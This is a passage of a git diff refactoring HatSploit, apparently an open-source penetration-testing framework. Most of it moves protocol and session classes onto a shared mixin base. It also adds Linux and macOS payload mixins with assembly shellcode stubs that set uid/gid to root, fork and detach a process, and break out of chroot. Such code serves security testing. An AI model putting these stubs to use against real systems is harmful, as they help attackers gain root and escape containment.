-class SSH(object):
+
+class SSH(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of SSH client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize SSH mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "SSH host.", True)
-        self.port = PortOption(22, "SSH port.", True)
-        self.username = Option(None, "SSH username.", True)
-        self.password = Option(None, "SSH password.", True)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "SSH host.", True)
+        self.port = PortOption('PORT', 22, "SSH port.", True)
+        self.username = Option('USER', None, "SSH username.", True)
+        self.password = Option('PASS', None, "SSH password.", True)
 
     def open_ssh(self) -> SSHClient:
         """ Open SSH client.
diff --git a/hatsploit/lib/module/proto/stream.py b/hatsploit/lib/core/module/proto/stream.py
similarity index 80%
rename from hatsploit/lib/module/proto/stream.py
rename to hatsploit/lib/core/module/proto/stream.py
index 1e4f5f104..c0ea7c0ba 100644
--- a/hatsploit/lib/module/proto/stream.py
+++ b/hatsploit/lib/core/module/proto/stream.py
@@ -22,21 +22,29 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.stream import StreamClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import Option
 
-class Stream(object):
+
+class Stream(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of stream client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize stream mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.html = Option(None, "HTML path.", False, True)
+        self.html = Option('HTML', None, "HTML path.", False, True)
 
     def open_stream(self, *args, **kwargs) -> StreamClient:
         """ Get streamer.
diff --git a/hatsploit/lib/module/proto/tcp.py b/hatsploit/lib/core/module/proto/tcp.py
similarity index 76%
rename from hatsploit/lib/module/proto/tcp.py
rename to hatsploit/lib/core/module/proto/tcp.py
index d680fb317..99f0ebce7 100644
--- a/hatsploit/lib/module/proto/tcp.py
+++ b/hatsploit/lib/core/module/proto/tcp.py
@@ -22,23 +22,40 @@
 SOFTWARE.
 """
 
-from pex.proto.tcp import TCPClient, TCPListener, TCPTools
-from hatsploit.lib.option import *
+from hatsploit.lib.base import BaseMixin
 
+from pex.proto.tcp import (
+    TCPClient,
+    TCPListener,
+    TCPTools
+)
 
-class TCP(object):
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    IntegerOption
+)
+
+
+class TCP(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of TCP client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize TCP mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "TCP host.", True)
-        self.port = PortOption(None, "TCP port.", True)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "TCP host.", True)
+        self.port = PortOption('PORT', None, "TCP port.", True)
 
     def is_on(self) -> bool:
         """ Check if TCP port is available.
diff --git a/hatsploit/lib/module/proto/udp.py b/hatsploit/lib/core/module/proto/udp.py
similarity index 73%
rename from hatsploit/lib/module/proto/udp.py
rename to hatsploit/lib/core/module/proto/udp.py
index 688dec9fc..a2147ebc7 100644
--- a/hatsploit/lib/module/proto/udp.py
+++ b/hatsploit/lib/core/module/proto/udp.py
@@ -22,23 +22,35 @@
 SOFTWARE.
 """
 
+from hatsploit.lib.base import BaseMixin
 from pex.proto.udp import UDPClient
-from hatsploit.lib.option import *
 
+from hatsploit.lib.ui.option import (
+    IPv4Option,
+    PortOption,
+    IntegerOption
+)
 
-class UDP(object):
+
+class UDP(BaseMixin):
     """ Subclass of hatsploit.lib.module.proto module.
 
     This subclass of hatsploit.lib.module.proto module is a representation
     of a wrapper of SSH client for a module.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize UDP mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
 
-        self.timeout = IntegerOption(10, "Connection timeout.", False)
-        self.host = IPv4Option(None, "UDP host.", True)
-        self.port = PortOption(None, "UDP port.", True)
+        self.timeout = IntegerOption('TIMEOUT', 10, "Connection timeout.", False)
+        self.host = IPv4Option('HOST', None, "UDP host.", True)
+        self.port = PortOption('PORT', None, "UDP port.", True)
 
     def open_udp(self) -> UDPClient:
         """ Open UDP client.
diff --git a/hatsploit/lib/core/payload/__init__.py b/hatsploit/lib/core/payload/__init__.py
new file mode 100644
index 000000000..9c2344a42
--- /dev/null
+++ b/hatsploit/lib/core/payload/__init__.py
@@ -0,0 +1,108 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+from typing import Optional
+from hatasm import HatAsm
+
+from hatsploit.lib.ui.option import BytesOption, BooleanOption
+from hatsploit.lib.ui.options import Options
+
+from hatsploit.lib.base import BaseMixin
+
+
+class Payload(BaseMixin, Options):
+    """ Subclass of hatsploit.lib module.
+
+    This subclass of hatsploit.lib module is intended for providing
+    wrapper for a payload.
+    """
+
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize payload
+
+        :param dict info: payload details
+        :return None: None
+        """
+
+        details = {
+            'Category': "single",
+            'Name': "",
+            'Payload': "",
+            'Authors': (
+            ),
+            'Description': "",
+            'Arch': None,
+            'Platform': None,
+            'Phased': False,
+            'Phase': '',
+            'Type': None,
+            'Conversion': {
+            },
+        }
+        details.update(info)
+
+        super().__init__(details)
+
+        self.options = {}
+        self.advanced = {}
+
+        self.phased = BooleanOption(
+            'Phased',
+            'no',
+            "Send phase instead of whole payload.",
+            False,
+            advanced=True
+        )
+        self.badchars = BytesOption(
+            'BadChars',
+            '',
+            "Bad characters to omit.",
+            False,
+            advanced=True
+        )
+
+    def __call__(self) -> None:
+        """ Called after initialization.
+
+        :return None: None
+        """
+
+        return
+
+    def run(self) -> None:
+        """ Run this payload.
+
+        :return None: None
+        """
+
+        return
+
+    def assemble(self, code: str, *args, **kwargs) -> bytes:
+        """ Assemble assembly code using current architecture.
+
+        :param str code: assembly code
+        :return bytes: assembled code
+        """
+
+        return HatAsm().assemble(self.info['Arch'], code, *args, **kwargs)
diff --git a/hatsploit/lib/module/basic.py b/hatsploit/lib/core/payload/basic.py
similarity index 82%
rename from hatsploit/lib/module/basic.py
rename to hatsploit/lib/core/payload/basic.py
index 9514f3146..bc48d73a0 100644
--- a/hatsploit/lib/module/basic.py
+++ b/hatsploit/lib/core/payload/basic.py
@@ -22,11 +22,11 @@
 SOFTWARE.
 """
 
-from hatsploit.lib.module import Module
-from hatsploit.lib.handler import Handler, HatSploitSession
+from hatsploit.lib.core.payload import Payload
+from hatsploit.lib.core.handler import Handler
 
-from pex.platform.types import *
-from pex.arch.types import *
+from pex.arch import *
+from pex.platform import *
 
-from hatsploit.lib.option import *
-from hatsploit.lib.complex import *
+from hatsploit.lib.ui.option import *
+from hatsploit.lib.core.payload.const import *
diff --git a/hatsploit/lib/encoder/basic.py b/hatsploit/lib/core/payload/const.py
similarity index 91%
rename from hatsploit/lib/encoder/basic.py
rename to hatsploit/lib/core/payload/const.py
index aa759262d..758a5be5e 100644
--- a/hatsploit/lib/encoder/basic.py
+++ b/hatsploit/lib/core/payload/const.py
@@ -22,7 +22,9 @@
 SOFTWARE.
 """
 
-from hatsploit.lib.encoder import Encoder
+REVERSE_TCP = "reverse_tcp"
+BIND_TCP = "bind_tcp"
+ONE_SIDE = "one_side"
 
-from pex.arch.types import *
-from hatsploit.lib.option import *
+PHASE = "phase"
+SINGLE = "single"
diff --git a/hatsploit/lib/core/payload/linux/__init__.py b/hatsploit/lib/core/payload/linux/__init__.py
new file mode 100644
index 000000000..c537c1020
--- /dev/null
+++ b/hatsploit/lib/core/payload/linux/__init__.py
@@ -0,0 +1,509 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+from hatsploit.lib.base import BaseMixin
+from pex.string import String
+
+from hatsploit.lib.core.payload.basic import (
+    ARCH_X64,
+    ARCH_X86,
+    ARCH_ARMLE,
+    ARCH_ARMBE,
+)
+
+from hatsploit.lib.ui.option import (
+    BooleanOption
+)
+
+
+class Linux(BaseMixin):
+    """ Main class of hatsploit.lib.core.payload.macos module.
+
+    This main class of hatsploit.lib.core.payload module is intended
+    to provide linux-specific payload options.
+    """
+
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize Linux mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
+
+        self.fork = BooleanOption(
+            'PrependFork',
+            'no',
+            "Prepend a stub that executes fork().",
+            False,
+            advanced=True
+        )
+
+        self.setresuid = BooleanOption(
+            'PrependSetresuid',
+            'no',
+            "Prepend a stub that executes setresuid(0, 0, 0)",
+            False,
+            advanced=True
+        )
+
+        self.setreuid = BooleanOption(
+            'PrependSetreuid',
+            'no',
+            "Prepend a stub that executes setreuid(0, 0)",
+            False,
+            advanced=True
+        )
+
+        self.setuid = BooleanOption(
+            'PrependSetuid',
+            'no',
+            "Prepend a stub that executes setuid(0)",
+            False,
+            advanced=True
+        )
+
+        self.setresgid = BooleanOption(
+            'PrependSetresgid',
+            'no',
+            "Prepend a stub that executes setresgid(0, 0, 0)",
+            False,
+            advanced=True
+        )
+
+        self.setregid = BooleanOption(
+            'PrependSetregid',
+            'no',
+            "Prepend a stub that executes setregid(0, 0)",
+            False,
+            advanced=True
+        )
+
+        self.setgid = BooleanOption(
+            'PrependSetgid',
+            'no',
+            "Prepend a stub that executes setgid(0)",
+            False,
+            advanced=True
+        )
+
+        self.chroot_break = BooleanOption(
+            'PrependChrootBreak',
+            'no',
+            "Prepend a stub that breaks chroot.",
+            False,
+            advanced=True
+        )
+
+        self.exit = BooleanOption(
+            'AppendExit',
+            'no',
+            "Append a stub that executes exit(0)",
+            False,
+            advanced=True
+        )
+
+    def apply(self, payload: bytes) -> bytes:
+        """ Apply available prepends.
+
+        :param bytes payload: payload data
+        :return bytes: payload
+        """
+
+        if self.info['Arch'] == ARCH_X64:
+            return self.apply_x64(payload)
+        elif self.info['Arch'] == ARCH_X86:
+            return self.apply_x86(payload)
+        elif self.info['Arch'] in [ARCH_ARMLE, ARCH_ARMBE]:
+            return self.apply_arm(payload)
+
+        return payload
+
+    def apply_arm(self, payload: bytes) -> bytes:
+        """ Prepend/append available arm prepends/appends.
+
+        :param bytes payload: payload data
+        :return bytes: payload
+        """
+
+        prepend = b""
+        append = b""
+
+        if self.setuid.value:
+            prepend += self.assemble(
+                """
+                setuid:
+                    eor r0, r0, r0
+                    mov r7, 23
+                    svc 0
+                """
+            )
+
+        if self.setresuid.value:
+            prepend += self.assemble(
+                """
+                setresuid:
+                    eor r0, r0, r0
+                    eor r1, r1, r1
+                    eor r2, r2, r2
+                    mov r7, 0xa4
+                    svc 0
+                """
+            )
+
+        return prepend + payload + append
+
+    def apply_x64(self, payload: bytes) -> bytes:
+        """ Prepend/append available x64 prepends/appends.
+
+        :param bytes payload: payload data
+        :return bytes: payload
+        """
+
+        prepend = b""
+        append = b""
+
+        if self.fork.value:
+            prepend += self.assemble(
+                """
+                fork:
+                    push 57
+                    pop rax
+                    syscall
+
+                    test rax, rax
+                    jz setsid
+
+                exit:
+                    xor rdi, rdi
+                    push 60
+                    pop rax
+                    syscall
+
+                setsid:
+                    add al, 112
+                    syscall
+
+                    push 57
+                    pop rax
+                    syscall
+
+                    test rax, rax
+                    jnz exit
+                """
+            )
+
+        if self.setresuid.value:
+            prepend += self.assemble(
+                """
+                setresuid:
+                    xor rdi, rdi
+                    mov rsi, rdi
+                    push 0x75
+                    pop rax
+                    syscall
+                """
+            )
+
+        if self.setreuid.value:
+            prepend += self.assemble(
+                """
+                setreuid:
+                    xor rdi, rdi
+                    mov rsi, rdi
+                    mov rdx, rsi
+                    push 0x71
+                    pop rax
+                    syscall
+                """
+            )
+
+        if self.setuid.value:
+            prepend += self.assemble(
+                """
+                setuid:
+                    xor rdi, rdi
+                    push 0x69
+                    pop rax
+                    syscall
+                """
+            )
+
+        if self.setresgid.value:
+            prepend += self.assemble(
+                """
+                setresgid:
+                    xor rdi, rdi
+                    mov rsi, rdi
+                    push 0x77
+                    pop rax
+                    syscall
+                """
+            )
+
+        if self.setregid.value:
+            prepend += self.assemble(
+                """
+                setregid:
+                    xor rdi, rdi
+                    mov rsi, rdi
+                    mov rdx, rsi
+                    push 0x72
+                    pop rax
+                    syscall
+                """
+            )
+
+        if self.setgid.value:
+            prepend += self.assemble(
+                """
+                setgid:
+                    xor rdi, rdi
+                    push 0x6a
+                    pop rax
+                    syscall
+                """
+            )
+
+        if self.chroot_break.value:
+            prepend += self.assemble(
+                f"""
+                setreuid:
+                    xor rdi, rdi
+                    mov rsi, rdi
+                    mov rax, rdi
+                    mov al, 0x71
+                    syscall
+
+                mkdir:
+                    mov rdi, 0x{String().random_string(8).encode().hex()}
+                    push rsi
+                    push rdi
+                    mov rdi, rsp
+                    mov si, 0755
+                    push 0x53
+                    pop rax
+                    syscall
+
+                chroot:
+                    xor rdx, rdx
+                    mov dl, 0xa1
+                    mov rax, rdx
+                    syscall
+
+                    mov si, 0x2e2e
+                    push rsi
+                    mov rdi, rsp
+
+                    push 0x45
+                    pop rbx
+                    push 0x50
+                    pop rax
+                    syscall
+
+                    dec bl
+                    jnz -7
+
+                    push 0x2e
+                    mov rdi, rsp
+                    mov rax, rdx
+                    syscall
+                """
+            )
+
+        if self.exit.value:
+            append += self.assemble(
+                """
+                exit:
+                    xor rdi, rdi
+                    push 0x3c
+                    pop rax
+                    syscall
+                """
+            )
+
+        return prepend + payload + append
+
+    def apply_x86(self, payload: bytes) -> bytes:
+        """ Prepend/append available x86 prepends/appends.
+
+        :param bytes payload: payload data
+        :return bytes: payload
+        """
+
+        prepend = b""
+        append = b""
+
+        if self.fork.value:
+            prepend += self.assemble(
+                """
+                fork:
+                    push 0x2
+                    pop eax
+                    int 0x80
+
+                    test eax, eax
+                    jz setsid
+
+                exit:
+                    xor eax, eax
+                    mov al, 0x1
+                    int 0x80
+
+                setsid:
+                    mov al, 0x42
+                    int 0x80
+
+                    push 0x2
+                    pop eax
+                    int 0x80
+
+                    test eax, eax
+                    jnz exit
+                """
+            )
+
+        if self.setresuid.value:
+            prepend += self.assemble(
+                """
+                setresuid:
+                    xor ecx, ecx
+                    xor ebx, ebx
+                    mul ebx
+                    mov al, 0xa4
+                    int 0x80
+                """
+            )
+
+        if self.setreuid.value:
+            prepend += self.assemble(
+                """
+                setreuid:
+                    xor ecx, ecx
+                    xor ebx, ebx
+                    push 0x46
+                    pop eax
+                    int 0x80
+                """
+            )
+
+        if self.setuid.value:
+            prepend += self.assemble(
+                """
+                setuid:
+                    xor ebx, ebx
+                    push 0x17
+                    pop eax
+                    int 0x80
+                """
+            )
+
+        if self.setresgid.value:
+            prepend += self.assemble(
+                """
+                setresgid:
+                    xor ecx, ecx
+                    xor ebx, ebx
+                    mul ebx
+                    mov al, 0xaa
+                    int 0x80
+                """
+            )
+
+        if self.setregid.value:
+            prepend += self.assemble(
+                """
+                setregid:
+                    xor ecx, ecx
+                    xor ebx, ebx
+                    push 0x47
+                    pop eax
+                    int 0x80
+                """
+            )
+
+        if self.setgid.value:
+            prepend += self.assemble(
+                """
+                setgid:
+                    xor ebx, ebx
+                    push 0x2e
+                    pop eax
+                    int 0x80
+                """
+            )
+
+        if self.chroot_break.value:
+            prepend += self.assemble(
+                """
+                setreuid:
+                    xor ecx, ecx
+                    xor ebx, ebx
+                    push 0x46
+                    pop eax
+                    int 0x80
+
+                mkdir:
+                    push 0x3d
+                    mov ebx, esp
+                    push 0x27
+                    pop eax
+                    int 0x80
+
+                chroot:
+                    mov ecx, ebx
+                    pop eax
+                    int 0x80
+
+                    xor eax, eax
+                    push eax
+                    push 0x2e2e
+                    mov ebx, esp
+
+                    push 0x1e
+                    pop ecx
+                    mov al, 0xc
+                    int 0x80
+                    loop -4
+
+                    push 0x3d
+                    mov ecx, ebx
+                    pop eax
+                    int 0x80
+                """
+            )
+
+        if self.exit.value:
+            append += self.assemble(
+                """
+                exit:
+                    xor ebx, ebx
+                    push 0x1
+                    pop eax
+                    int 0x80
+                """
+            )
+
+        return prepend + payload + append
diff --git a/hatsploit/lib/core/payload/macos/__init__.py b/hatsploit/lib/core/payload/macos/__init__.py
new file mode 100644
index 000000000..97705182e
--- /dev/null
+++ b/hatsploit/lib/core/payload/macos/__init__.py
@@ -0,0 +1,259 @@
+"""
+MIT License
+
+Copyright (c) 2020-2024 EntySec
+
+Permission is hereby granted, free of charge, to any person obtaining a copy
+of this software and associated documentation files (the "Software"), to deal
+in the Software without restriction, including without limitation the rights
+to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
+copies of the Software, and to permit persons to whom the Software is
+furnished to do so, subject to the following conditions:
+
+The above copyright notice and this permission notice shall be included in all
+copies or substantial portions of the Software.
+
+THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
+OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
+SOFTWARE.
+"""
+
+from hatsploit.lib.base import BaseMixin
+
+from hatsploit.lib.core.payload.basic import (
+    ARCH_X64,
+    ARCH_X86
+)
+
+from hatsploit.lib.ui.option import (
+    BooleanOption
+)
+
+
+class MacOS(BaseMixin):
+    """ Main class of hatsploit.lib.core.payload.macos module.
+
+    This main class of hatsploit.lib.core.payload module is intended
+    to provide macOS-specific payload options.
+    """
+
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize macOS mixin.
+
+        :param dict info: mixin info
+        :return None: None
+        """
+
+        super().__init__(info)
+
+        self.setreuid = BooleanOption(
+            'PrependSetreuid',
+            'no',
+            "Prepend a stub that executes setreuid(0, 0)",
+            False,
+            advanced=True
+        )
+
+        self.setuid = BooleanOption(
+            'PrependSetuid',
+            'no',
+            "Prepend a stub that executes setuid(0)",
+            False,
+            advanced=True
+        )
+
+        self.setregid = BooleanOption(
+            'PrependSetregid',
+            'no',
+            "Prepend a stub that executes setregid(0, 0)",
+            False,
+            advanced=True
+        )
+
+        self.setgid = BooleanOption(
+            'PrependSetgid',
+            'no',
+            "Prepend a stub that executes setgid(0)",
+            False,
+            advanced=True
+        )
+
+        self.exit = BooleanOption(
+            'AppendExit',
+            'no',
+            "Append a stub that executes exit(0)",
+            False,
+            advanced=True
+        )
+
+    def apply(self, payload: bytes) -> bytes:
+        """ Apply available prepends.
+
+        :param bytes payload: payload data
+        :return bytes: payload
+        """
+
+        if self.info['Arch'] == ARCH_X64:
+            return self.apply_x64(payload)
+        elif self.info['Arch'] == ARCH_X86:
+            return self.apply_x86(payload)
+
+        return payload
+
+    def apply_x64(self, payload: bytes) -> bytes:
+        """ Prepend/append available x64 prepends/appends.
+
+        :param bytes payload: payload data
+        :return bytes: payload
+        """
+
+        prepend = b""
+        append = b""
+
+        if self.setreuid.value:
+            prepend += self.assemble(
+                """
+                setreuid:
+                    mov r8b, 0x2
+                    shl r8, 24
+                    or r8, 126
+                    mov rax, r8
+                    xor rdi, rdi
+                    xor rsi, rsi
+                    syscall
+                """
+            )
+
+        if self.setuid.value:
+            prepend += self.assemble(
+                """
+                setuid:
+                    mov r8b, 0x2
+                    shl r8, 24
+                    or r8, 23
+                    mov rax, r8
+                    xor rdi, rdi
+                    syscall
+                """
+            )
+
+        if self.setregid.value:
+            prepend += self.assemble(
+                """
+                setregid:
+                    mov r8b, 0x2
+                    shl r8, 24
+                    or r8, 127
+                    mov rax, r8
+                    xor rdi, rdi
+                    xor rsi, rsi
+                    syscall
+                """
+            )
+
+        if self.setgid.value:
+            prepend += self.assemble(
+                """
+                setgid:
+                    mov r8b, 0x2
+                    shl r8, 23
+                    or r8, 90
+                    shl r8, 1
+                    or r8, 1
+                    mov rax, r8
+                    xor rdi, rdi
+                    syscall
+                """
+            )
+
+        if self.exit.value:
+            append += self.assemble(
+                """
+                exit:
+                    mov r8b, 0x2
+                    shl r8, 24
+                    or r8, 1
+                    mov rax, r8
+                    xor rdi, rdi
+                    syscall
+                """
+            )
+
+        return prepend + payload + append
+
+    def apply_x86(self, payload: bytes) -> bytes:
+        """ Prepend/append available x86 prepends/appends.
+
+        :param bytes payload: payload data
+        :return bytes: payload
+        """
+
+        prepend = b""
+        append = b""
+
+        if self.setreuid.value:
+            prepend += self.assemble(
+                """
+                setreuid:
+                    xor eax, eax
+                    push eax
+                    push eax
+                    push eax
+                    mov al, 0x7e
+                    int 0x80
+                """
+            )
+
+        if self.setuid.value:
+            prepend += self.assemble(
+                """
+                setuid:
+                    xor eax, eax
+                    push eax
+                    push eax
+                    mov al, 0x17
+                    int 0x80
+                """
+            )
+
+        if self.setregid.value:
+            prepend += self.assemble(
+                """
+                setregid:
+                    xor eax, eax
+                    push eax
+                    push eax
+                    push eax
+                    mov al, 0x7f
+                    int 0x80
+                """
+            )
+
+        if self.setgid.value:
+            prepend += self.assemble(
+                """
+                setgid:
+                    xor eax, eax
+                    push eax
+                    push eax
+                    mov al, 0xb5
+                    int 0x80
+                """
+            )
+
+        if self.exit.value:
+            append += self.assemble(
+                """
+                exit:
+                    xor eax, eax
+                    push eax
+                    movb al, 0x01
+                    int 0x80
+                """
+            )
+
+        return prepend + payload + append
diff --git a/hatsploit/lib/plugin.py b/hatsploit/lib/core/plugin/__init__.py
similarity index 80%
rename from hatsploit/lib/plugin.py
rename to hatsploit/lib/core/plugin/__init__.py
index fc0f189dc..dbdfeea06 100755
--- a/hatsploit/lib/plugin.py
+++ b/hatsploit/lib/core/plugin/__init__.py
@@ -22,28 +22,35 @@
 SOFTWARE.
 """
 
-from badges import Badges, Tables
+from hatsploit.lib.base import BaseMixin
 
-from hatsploit.core.utils.tools import Tools
 
-
-class Plugin(Badges, Tables, Tools):
+class Plugin(BaseMixin):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     wrapper for a plugin.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize plugin
+
+        :param dict info: plugin details
+        :return None: None
+        """
 
-        self.details = {
+        details = {
             'Name': "",
             'Authors': [
                 ''
             ],
             'Description': ""
         }
+        details.update(info)
+
+        super().__init__(details)
+
+        self.commands = {}
 
     def load(self) -> None:
         """ Load this plugin.
@@ -51,4 +58,4 @@ def load(self) -> None:
         :return None: None
         """
 
-        pass
+        return
diff --git a/hatsploit/lib/session/__init__.py b/hatsploit/lib/core/session/__init__.py
similarity index 90%
rename from hatsploit/lib/session/__init__.py
rename to hatsploit/lib/core/session/__init__.py
index 9569e15a6..a9ec304ae 100644
--- a/hatsploit/lib/session/__init__.py
+++ b/hatsploit/lib/core/session/__init__.py
@@ -24,20 +24,24 @@
 
 from typing import Any, Union
 
-from badges import Badges, Tables
+from hatsploit.lib.base import BaseMixin
 
 
-class Session(Badges, Tables):
+class Session(BaseMixin):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     wrapper for a session.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
+    def __init__(self, info: dict = {}) -> None:
+        """ Initialize session
 
-        self.details = {
+        :param dict info: session details
+        :return None: None
+        """
+
+        details = {
             'Post': "",
             'Platform': None,
             'Arch': None,
@@ -45,6 +49,9 @@ def __init__(self) -> None:
             'Host': "",
             'Port': None
         }
+        details.update(info)
+
+        super().__init__(details)
 
     def open(self, client: Any) -> None:
         """ Open this session for client.
diff --git a/hatsploit/lib/session/basic.py b/hatsploit/lib/core/session/basic.py
similarity index 94%
rename from hatsploit/lib/session/basic.py
rename to hatsploit/lib/core/session/basic.py
index 16329b45b..b0676d834 100644
--- a/hatsploit/lib/session/basic.py
+++ b/hatsploit/lib/core/session/basic.py
@@ -22,5 +22,5 @@
 SOFTWARE.
 """
 
-from pex.arch.types import *
-from pex.platform.types import *
+from pex.arch import *
+from pex.platform import *
diff --git a/hatsploit/lib/handle.py b/hatsploit/lib/handle.py
index ddb5f0e43..f56329379 100755
--- a/hatsploit/lib/handle.py
+++ b/hatsploit/lib/handle.py
@@ -24,46 +24,51 @@
 
 import socket
 
-from typing import Union, Tuple, Optional, Callable
+from typing import (
+    Union,
+    Tuple,
+    Optional,
+    Callable
+)
 
-from hatsploit.lib.session import Session
+from hatsploit.lib.core.session import Session
 
 from pex.proto.http import HTTPListener
-from pex.proto.tcp import TCPClient
-from pex.proto.tcp import TCPListener
+from pex.proto.tcp import TCPClient, TCPListener
 
 from badges import Badges
 
 
-class Handle(object):
+class Handle(Badges):
     """ Subclass of hatsploit.lib module.
 
     This subclass of hatsploit.lib module is intended for providing
     native implementations of http/tcp servers and clients.
     """
 
-    def __init__(self) -> None:
-        super().__init__()
-
-        self.badges = Badges()
-
-    def listen_server(self, local_host: str, local_port: int, methods: dict = {}) -> None:
+    def listen_server(self, local_host: str, local_port: int,
+                      methods: dict = {}, limit: Optional[int] = None) -> None:
         """ HTTP server.
 
         :param str local_host: local host to start server on
         :param int local_port: local port to start server on
         :param dict methods: allowed HTTP methods, names as keys and
         handlers as items
+        :param Optional[int] limit: number of connections to accept
         :return None: None
         """
 
         listener = HTTPListener(local_host, local_port, methods)
 
-        self.badges.print_process(f"Starting HTTP listener on port {str(local_port)}...")
+        self.print_process(f"Starting HTTP listener on port {str(local_port)}...")
         listener.listen()
 
-        while True:
-            listener.accept()
+        if limit:
+            for _ in range(limit):
+                listener.accept()
+        else:
+            while True:
+                listener.accept()
 
     def listen_session(self, local_host: str, local_port: int,
                        session: Optional[Callable[[], Session]] = None,
@@ -79,14 +84,14 @@ def listen_session(self, local_host: str, local_port: int,
 
         listener = TCPListener(local_host, local_port, timeout)
 
-        self.badges.print_process(f"Starting TCP listener on port {str(local_port)}...")
+        self.print_process(f"Starting TCP listener on port {str(local_port)}...")
 
         listener.listen()
         listener.accept()
 
         address = listener.address
 
-        self.badges.print_process(
+        self.print_process(
             f"Establishing connection ({address[0]}:{str(address[1])} -> {local_host}:{str(local_port)})...")
         listener.stop()
 
@@ -112,10 +117,10 @@ def connect_session(self, remote_host: str, remote_port: int,
 
         client = TCPClient(remote_host, remote_port, timeout)
 
-        self.badges.print_process(f"Connecting to {local_host}:{str(local_port)}...")
+        self.print_process(f"Connecting to {local_host}:{str(local_port)}...")
         client.connect()
 
-        self.badges.print_process(
+        self.print_process(
             f"Establishing connection (0.0.0.0:{str(remote_port)} -> {remote_host}:{str(remote_port)})...")
 
         if session:
diff --git a/hatsploit/lib/handler/__init__.py b/hatsploit/lib/handler/__init__.py
deleted file mode 100755
index b85867c65..000000000
--- a/hatsploit/lib/handler/__init__.py
+++ /dev/null
